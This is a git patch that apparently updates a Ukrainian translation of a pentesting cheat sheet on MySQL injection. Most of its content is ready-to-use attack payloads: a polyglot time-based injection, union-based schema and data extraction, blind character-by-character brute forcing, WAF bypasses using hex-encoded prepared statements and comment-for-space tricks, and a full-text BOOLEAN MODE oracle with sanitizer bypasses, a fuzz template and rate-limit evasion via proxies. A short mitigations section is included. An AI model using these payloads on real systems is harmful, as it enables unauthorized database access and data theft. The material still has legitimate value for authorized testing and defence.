From cf4158725210bbafd00fb1fe0b01f614972d3145 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 00:49:34 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README --- .../sql-injection/mysql-injection/README.md | 111 +++++++++++++----- 1 file changed, 80 insertions(+), 31 deletions(-) diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index 4e44426ed..be1258709 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -44,15 +44,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null)) SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END) strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() ``` -## Всі ін'єкції +## Всі injection ```sql SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` -from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) +з [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) -## Flow +## Потік -Пам'ятайте, що в "сучасних" версіях **MySQL** ви можете замінити "_**information_schema.tables**_" на "_**mysql.innodb_table_stats**_**"** (Це може бути корисно для обходу WAF). +Пам'ятайте, що в "сучасних" версіях **MySQL** можна замінити "_**information_schema.tables**_" на "_**mysql.innodb_table_stats**_**"** (Це може бути корисно для обходу WAFs). ```sql SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table @@ -64,12 +64,12 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges - `group_concat()` - `Limit X,1` -### **Сліпий один за одним** +### **Blind one by one** -- `substr(version(),X,1)='r'` або `substring(version(),X,1)=0x70` або `ascii(substr(version(),X,1))=112` +- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112` - `mid(version(),X,1)='5'` -### **Сліпий додаванням** +### **Blind adding** - `LPAD(version(),1...lenght(version()),'1')='asd'...` - `RPAD(version(),1...lenght(version()),'1')='asd'...` @@ -77,7 +77,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges - `SELECT LEFT(version(),1...lenght(version()))='asd'...` - `SELECT INSTR('foobarbar', 'fo...')=1` -## Визначити кількість стовпців +## Виявлення кількості стовпців Використовуючи простий ORDER ``` @@ -92,7 +92,7 @@ UniOn SeLect 1,2 UniOn SeLect 1,2,3 ... ``` -## MySQL на основі Union +## MySQL Union Based ```sql UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... @@ -101,62 +101,62 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ## SSRF -**Дізнайтеся тут різні варіанти, щоб** [**зловживати Mysql injection для отримання SSRF**](mysql-ssrf.md)**.** +**Тут показано різні варіанти, як** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** -## WAF обходи +## WAF bypass tricks -### Виконання запитів через підготовлені оператори +### Виконання запитів через Prepared Statements -Коли дозволені вкладені запити, може бути можливим обійти WAF, призначивши змінній шістнадцяткове представлення запиту, який ви хочете виконати (використовуючи SET), а потім використати оператори PREPARE та EXECUTE MySQL для остаточного виконання запиту. Щось на зразок цього: +Якщо дозволені stacked queries, можна обійти WAFs, присвоївши змінній hex-представлення запиту, який ви хочете виконати (за допомогою SET), а потім використавши PREPARE та EXECUTE MySQL для виконання цього запиту. Щось на кшталт цього: ``` 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` -Для отримання додаткової інформації, будь ласка, зверніться до [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). +Для отримання додаткової інформації зверніться до [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). -### Альтернативи information_schema +### Information_schema альтернативи -Пам'ятайте, що в "сучасних" версіях **MySQL** ви можете замінити _**information_schema.tables**_ на _**mysql.innodb_table_stats**_ або на _**sys.x$schema_flattened_keys**_ або на **sys.schema_table_statistics**. +Пам'ятайте, що в «сучасних» версіях **MySQL** ви можете замінити _**information_schema.tables**_ на _**mysql.innodb_table_stats**_ або на _**sys.x$schema_flattened_keys**_ або на **sys.schema_table_statistics** -### MySQLinjection без КОМ +### MySQLinjection без COMMAS -Виберіть 2 стовпці без використання коми ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): +Select 2 columns без використання жодної коми ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` ### Отримання значень без назви стовпця -Якщо в якийсь момент ви знаєте назву таблиці, але не знаєте назви стовпців у таблиці, ви можете спробувати дізнатися, скільки стовпців там, виконавши щось на зразок: +Якщо в якийсь момент ви знаєте назву таблиці, але не знаєте назви стовпців у ній, ви можете спробувати з'ясувати, скільки там стовпців, виконавши щось на кшталт: ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` -Припустимо, що є 2 стовпці (перший - це ID, а інший - прапор), ви можете спробувати брутфорсити вміст прапора, намагаючись символ за символом: +Припустивши, що є 2 стовпці (перший — ID, а другий — flag), ви можете спробувати bruteforce вміст flag, перебираючи по одному символу: ```bash # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` -Більше інформації в [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) +Детальніше: [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) -### Ін'єкція без ПРОБІЛІВ (`/**/` трюк з коментарем) +### Injection без SPACES (`/**/` трюк з коментарями) -Деякі програми очищають або обробляють введення користувача за допомогою функцій, таких як `sscanf("%128s", buf)`, які **зупиняються на першому символі пробілу**. -Оскільки MySQL розглядає послідовність `/**/` як коментар *і* як пробіл, її можна використовувати для повного видалення звичайних пробілів з корисного навантаження, зберігаючи при цьому синтаксичну правильність запиту. +Деякі застосунки очищують або парсять введення користувача за допомогою функцій, таких як `sscanf("%128s", buf)`, які **зупиняються на першому пробілі**. +Оскільки MySQL трактує послідовність `/**/` як коментар *і* як пробільний символ, її можна використати, щоб повністю видалити звичні пробіли з payload, зберігаючи при цьому запит синтаксично валідним. -Приклад ін'єкції на основі часу, що обходить фільтр пробілів: +Приклад time-based blind injection, що обходить фільтр пробілів: ```http GET /api/fabric/device/status HTTP/1.1 Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' ``` -Який бази даних отримує як: +Що база даних отримує у вигляді: ```sql ' OR SLEEP(5)-- -' ``` Це особливо корисно, коли: -* Контрольований буфер обмежений за розміром (наприклад, `%128s`) і пробіли можуть передчасно завершити введення. -* Впровадження через HTTP заголовки або інші поля, де звичайні пробіли видаляються або використовуються як роздільники. -* У поєднанні з `INTO OUTFILE` примітивами для досягнення повного RCE до автентифікації (див. розділ MySQL File RCE). +* Керуємий буфер обмежений за розміром (наприклад, `%128s`) і пробіли передчасно завершували б введення. +* Інжекція через HTTP headers або інші поля, де звичайні пробіли видаляються або використовуються як роздільники. +* У поєднанні з `INTO OUTFILE` примітивами для досягнення повного pre-auth RCE (див. розділ MySQL File RCE). --- @@ -164,13 +164,58 @@ Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' Ви можете побачити інші виконання всередині MySQL, читаючи таблицю: **sys.x$statement_analysis** -### Альтернативи версії**s** +### Версія альтернатив**и** ``` mysql> select @@innodb_version; mysql> select @@version; mysql> select version(); ``` -## Інші посібники з MYSQL ін'єкцій +## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR) + +Це не класичний SQL injection. Коли розробники передають вхідні дані користувача в `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL виконує багатий набір Boolean search операторів всередині лапок. Багато правил WAF/SAST фокусуються лише на розриві лапок і не помічають цього вектору. + +Key points: +- Оператори обчислюються всередині лапок: `+` (має бути присутній), `-` (не повинен бути присутній), `*` (постфіксна маска — wildcard), `"..."` (точна фраза), `()` (групування), `<`/`>`/`~` (ваги). Див. документацію MySQL. +- Це дозволяє перевірки на наявність/відсутність та префіксні тести без виходу з рядкового літералу, напр., `AGAINST('+admin*' IN BOOLEAN MODE)` для перевірки будь-якого слова, що починається з `admin`. +- Корисно для побудови оракулів, таких як «чи містить якийсь рядок термін з префіксом X?» та для переліку прихованих рядків шляхом розгортання префікса. + +Example query built by the backend: +```sql +SELECT tid, firstpost +FROM threads +WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE); +``` +Якщо додаток повертає різні відповіді залежно від того, чи порожній набір результатів (наприклад, redirect vs. error message), така поведінка перетворюється на Boolean oracle, який можна використати для перебору приватних даних, таких як приховані/видалені заголовки. + +Sanitizer bypass patterns (generic): +- Boundary-trim preserving wildcard: якщо backend обрізає 1–2 символи в кінці кожного слова за допомогою regex на кшталт `(\b.{1,2})(\s)|(\b.{1,2}$)`, відправте `prefix*ZZ`. The cleaner trims the `ZZ` but leaves the `*`, so `prefix*` survives. +- Early-break stripping: якщо код видаляє оператори по словах, але припиняє обробку, коли знаходить будь-який токен довжини ≥ min length, надішліть два токени: перший — junk token, який відповідає порогу довжини, другий несе operator payload. Наприклад: `&&&&& +jack*ZZ` → після очищення: `+&&&&& +jack*`. + +Payload template (URL-encoded): +``` +keywords=%26%26%26%26%26+%2B{FUZZ}*xD +``` +- `%26` це `&`, `%2B` це `+`. Трейлінговий `xD` (або будь-які дві літери) обрізається очищувачем, зберігаючи `{FUZZ}*`. +- Трактуйте редирект як “match” і сторінку помилки як “no match”. Не слідуйте редиректам автоматично, щоб зробити oracle спостережуваним. + +Робочий процес енумерації: +1) Починайте з `{FUZZ} = a…z,0…9`, щоб знайти збіги по першій літері через `+a*`, `+b*`, … +2) Для кожного позитивного префікса розгалужуйте: `a* → aa* / ab* / …`. Повторюйте, щоб відновити весь рядок. +3) Розподіляйте запити (проксі, кілька акаунтів), якщо додаток застосовує обмеження частоти запитів. + +Чому заголовки часто leak, тоді як вміст — ні: +- Деякі додатки застосовують перевірки видимості тільки після попереднього MATCH по заголовках/темах. Якщо потік керування залежить від результату “any results?” перед фільтрацією, виникають existence leaks. + +Заходи пом'якшення: +- Якщо вам не потрібна Boolean логіка, використовуйте `IN NATURAL LANGUAGE MODE` або обробляйте введення користувача як літерал (escape/quote відключають оператори в інших режимах). +- Якщо потрібен Boolean режим, видаляйте або нейтралізуйте всі Boolean оператори (`+ - * " ( ) < > ~`) для кожного токена (не допускаючи ранніх переривань) після токенізації. +- Застосовуйте фільтри видимості/авторизації перед MATCH, або уніфікуйте відповіді (константний час/статус) коли набір результатів порожній vs. непорожній. +- Перегляньте аналогічні можливості в інших DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` також парсять оператори всередині аргументів у лапках. + +Примітки: +- Prepared statements не захищають від семантичного зловживання `REGEXP` або пошуковими операторами. Вхід на кшталт `.*` залишається дозволяючим regex навіть всередині цитованого `REGEXP '.*'`. Використовуйте allow-lists або явні запобіжники. + +## Other MYSQL injection guides - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) @@ -178,6 +223,10 @@ mysql> select version(); - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html) +- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html) +- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html) +- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/) {{#include ../../../banners/hacktricks-training.md}}